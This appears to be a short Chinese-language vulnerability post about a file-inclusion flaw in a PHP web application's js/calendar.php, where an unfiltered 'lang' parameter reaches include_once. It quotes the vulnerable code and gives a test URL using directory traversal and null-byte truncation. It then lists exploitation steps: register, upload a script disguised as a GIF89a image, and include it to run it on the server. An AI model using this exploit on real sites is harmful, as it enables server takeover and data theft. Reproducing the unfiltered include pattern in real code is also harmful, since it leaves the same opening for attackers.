很久前就發(fā)現(xiàn)了,今天發(fā)布出來吧,雞肋的,其實很簡單,就是很多人沒有注意這里:
直接看代碼:
|
“js/calendar.php”:
$lang = (!empty($_GET['lang']))
trim($_GET['lang']) : 'zh_cn';//沒有過濾,很明顯的包含漏洞
if (!file_exists('../languages/' . $lang . '/calendar.php'))
{
$lang = 'zh_cn';
}
require(dirname(dirname(__FILE__)) . '/data/config.php');
header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
include_once('../languages/' . $lang . '/calendar.php');//這里包含,需要截斷
|
|
測試代碼:
//需要 magic_quotes_gpc = Off
/js/calendar.php?lang=../index.php%00.
(注意后面有個“.”)
|
|
利用:
1、注冊用戶
2、然后上傳GIF89a頭的GIF文件欺騙,
3、然后包含,如:http://www./js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.
(注意后面有個“.”)? |
|